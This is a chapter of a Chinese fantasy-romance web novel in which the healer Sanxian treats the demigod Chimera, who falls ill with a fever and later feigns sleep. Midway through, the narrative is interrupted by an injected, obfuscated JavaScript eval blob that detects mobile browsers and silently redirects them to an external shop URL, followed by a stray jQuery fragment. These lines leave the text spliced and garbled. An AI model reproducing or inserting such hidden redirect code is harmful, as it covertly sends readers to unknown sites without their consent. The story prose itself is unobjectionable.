酒的色泽不怎么样,但味道其实还不错,就是太甜了一些。
“怎么这么甜?”
“我加了糖水进去,有助于您的体力恢复。”
契梅拉不喜欢太甜的东西,但眼下他也不能不喝,只能一点点将酒水饮尽,然后道。
“你的酒味道不错,是你自己酿的吗?”
三弦点头,然后道。
“前年我帮奥莱德将军修复好身体后,他得知我喜欢吃葡萄就派人给我送了几十框,我送了一些给镇上的居民,剩下的就酿了这两坛。”
奥莱德送的葡萄……
契梅拉的脸色瞬间阴沉,他眼神幽寒的看向手中的杯子,杯子已经空了,只剩残余紫色的酒痕,恶心人眼睛。
他很想一把将杯子扔出去,然后将刚刚喝进去的酒吐出来,但是契梅拉不能这样做,只能克制好情绪,将杯子放下,然后依然面带笑意道。
“酒太腻了,可以给我一杯柠檬水吗?”
三弦给契梅拉倒了一杯柠檬水。
他接过柠檬水一点点喝下,将唇齿间的酒味全都清洗干净。
三弦接过两个空杯,走到水池旁清洗,契梅拉起身然后道。
“我出去抽根烟!”
说完契梅拉便披了外袍推开门,他从衣服口袋里取出一盒烟,拿出一支含在嘴里将其点燃。
星火闪了闪,他抬头看向不远处的帕特,帕特比手势询问。
修复完了吗?
契梅拉摇头,帕特比手势回复。
好的,我知道了。
烟云吞吐,鼻腔里的酒味也都散尽,契梅拉按灭剩下的烟,然后转身进了房间。
“我已经恢复体力了,继续修复吧!”
他脱下外袍躺在沙发椅上,三弦将手上的水渍擦干走过去,先是看了一下他的瞳孔是不是已经恢复,见瞳孔不再散光,然后低头贴近他的心口去听他的心跳。
契梅拉的心跳均匀且有力,他垂眸看着靠在他心口的三弦,她的头发挽的一丝不苟,光洁肉感的耳垂上连个耳洞都没有,在灯光下透着很淡的粉色。
想咬一口。
契梅拉觉得自己又发病了,咬了她的手指不够,居然想咬三弦的耳垂,可牙齿止不住的发痒,他咬紧牙关撇开眸子,有些不耐烦道。
“听好了没有?”
三弦听出他的语气不好,以为他讨厌离他太近,有些尴尬的起身,然后道。
“心跳声和瞳孔都恢复了正常,链接修复可以继续,但是如果链接中有任何不适,就只能等明天再修复了。”
“嗯,好!”
契梅拉淡漠道,说完将隐尾放了出来。
三弦接过他的隐尾,手指轻轻捏了捏他的尾巴。
契梅拉连忙压住差点从齿缝钻出来的喘息,不敢置信的看向三弦。
见三弦只是轻轻捏着自己的尾巴他的感触却那么激烈,他忽然意识到什么,正准备叫停。
三弦见他的尾巴有恢复感应,便直接进入链接,绒毛直接钻入神经元,酒水放大了契梅拉神经感知,刺痛和麻痒如排山倒海一般压了过来。
艹……
契梅拉捏紧拳头心中骂出声。
他觉得,眼前这个女人想弄死他。
三弦一边修复一边观察契梅拉,见他除了脸色有些发白并没有什么其他异常,便道。
“如果受不住就告诉我。”
受不住?
他有什么受不住的?
契梅拉冷冷道。
“继续!”
三弦见他没有丝毫难受的表情,便不再询问,尝试了一下刺激,见契梅拉并没有什么不适,便直接进入修复。
契梅拉遏制着自己的感官,不让自己再次陷入被动,但他的腺体却出卖了他,完全闭合的腺体翕动了一下,悄无声息的裂开一道极细的缝隙。
思想可以被压制不说实话,但身体无法撒谎,契梅拉的身体喜欢三弦,契梅拉自己不知道,三弦不知道,只有他的身体知道,他想触碰她。
不知道熬了多久,链接终于结束了,契梅拉恍惚起身,恍惚穿衣,恍惚的从三弦的工作室走了出来。
三弦在后面说话。
“最近附近有银狼,回去路上小心。”
契梅拉什么都没听进去,他只能听见疯狂躁动的心跳声,还有断断续续的风鸣和树叶摩挲声。
他抬步往回去的路上走去,黑夜将他的身影吞没,帕特走到他身边,立马发现了他的异样。
“殿下,你怎么了?你脸色怎么这么的红?”
契梅拉这次没有上次那种疯狂想靠近三弦的症状了,但出现了新的变故,活了好几百年从来没病过的契梅拉,生平第一次发烧了。
他从未生过病,受伤也很快愈合,就算被法杖伤害到灵体,契梅拉也能关闭感知屏蔽痛苦。
但是面对三弦的链接和这突然的高烧,他的感知屏蔽好像失效了。
他第一次知道普通人族的病痛居然是这么的难受,像是被人抽干了所有神力一般,他孱弱的犹如稚子。
温度不断的攀升,高温之下契梅拉的大脑是混沌的,眼前的路是扭曲的,每一下呼吸仿佛烈火在舔舐胸腔,灼烧的他的心脏不停颤栗,仿佛曾经压抑的痛苦同时爆发,还没走到教堂门口,他便在极度高温的折磨下晕厥了过去。
帕特见契梅拉晕倒,触碰到他过于可怕的温度,吓得他连忙将他扛起往三弦家冲去。
再次醒来,已经是凌晨四点多。
契梅拉睁开银瞳,四周一片晦暗和寂静,空气里混合着药剂的气味和橙子的香气,还有淡淡的薰衣草和山玫瑰的味道。
他眨了眨眼睛努力恢复视力,抬眼便看到站在柜子旁靠着睡着了的帕特。
契梅拉环视四周,原本还眩晕和混沌的脑子瞬间清醒了,他立马坐了起来。
起身的动静惊醒了帕特,他见契梅拉醒来,正要说话,契梅拉忽然看见躺在他腿边睡着的三弦,示意帕特别出声。
帕特没有出声,契梅拉看着睡着的三弦,她趴在被子上,头发盖住了一部分脸,看着有些疲倦。
契梅拉心中莫名生出了一丝怪异的说不清的想摸摸她脑袋的冲动,他下意识地抬手就在快要触碰到三弦头发的那一瞬,他忽然意识到自己的冲动来源于心疼和怜惜,他吓得立马收回手。
动作的时候他这才发现他手上的针管,侧头便发现高高挂在他头顶的药水瓶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709560|208187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他一脸疑惑不解的看向帕特,仿佛在说为什么给我打针药水。
帕特意会到契梅拉的意思,眼睛示意三弦,口型道。
‘三弦医师说要打针!’
契梅拉很不喜欢针药水,仿佛在手上戴着一个锁链,他一把将针拔了,然后再次看向三弦。
她依旧睡得很熟,根本没有意识到他已经醒了,不知道是出于什么原因,契梅拉抬手直接将三弦的脑袋推了一把。
一旁的帕特一脸不解的看着自家殿下。
刚刚不让他说话不是怕吵醒三弦医师吗?
???
不想吵醒三弦医师,为什么又要推她啊?
帕特心里完全不懂自家殿下这是在干什么……
被推搡一下的三弦眼睛都没睁,顺着被推的方向转了一下脑袋,继续睡。
契梅拉见她居然还能睡着,正要再推第二次,帕特上前拦住了他的手。
“你干什么?”契梅拉看向帕特,压低声道。
“殿下,你这是要干什么?”帕特示意了一眼三弦。
契梅拉也无法解释自己为什么要这么做,但是他就是不想让三弦睡得这么香,他的病痛是她造成的,他不舒服的时候,她凭什么能睡得这样好,仿佛他的病痛与她无关一样。
“松开!”契梅拉看着帕特道。
帕特很无奈的只好松开了契梅拉,契梅拉一点犹豫都没有,直接又推搡了三弦一下。
这一下用了力气,三弦迷迷糊糊醒了过来。
她揉着眼睛撑懒腰,转头的时候契梅拉躺了回去。
三弦看向站在她身旁的帕特,一脸不解和疑惑。
“刚刚是你推我吗?怎么了?”
帕特看着躺着装睡的自家殿下,一脸不敢置信和尴尬的表情抿了抿嘴,然后道。
“他睡觉时候不小心把针拔了。”
帕特想不出其他的理由了。
三弦看到被拔下来的针头,有些不解的道。
“他睡着的时候自己拔的针?”
帕特只能点头,然后道。
“他不喜欢打针,所以下意识拔的吧。”
三弦感到有些无语,她起身打开放在一旁的医药箱,取了一个全新的针头,给契梅拉把针药水续上。
躺在那装睡的契梅拉假装被打针弄醒,一副睡眼惺忪的模样看向三弦和帕特。
“你醒了?感觉怎么样?”三弦温和询问。
契梅拉装作什么都不知道的样子。
“这是在哪?我怎么了?”
帕特有点不知道如何形容此刻自己的心情。
三弦耐心解释。
“应该是链接修复过度,你高烧晕厥了,你好朋友就把你送到了我这儿,这是我的房间,东西有些杂乱和狭窄。”
三弦看着自己堆的乱七八糟的东西,有些不好意思。
“没事的,房间挺温馨的,是我打扰弦医师你休息了。”
帕特觉得此刻自己有点多余。
“对了,认识好几天了,还没来得及问您的名字。”
契梅拉被问的愣了一瞬,他有十个分身,名字有点多。
“我叫林格,赛托维斯·林格!”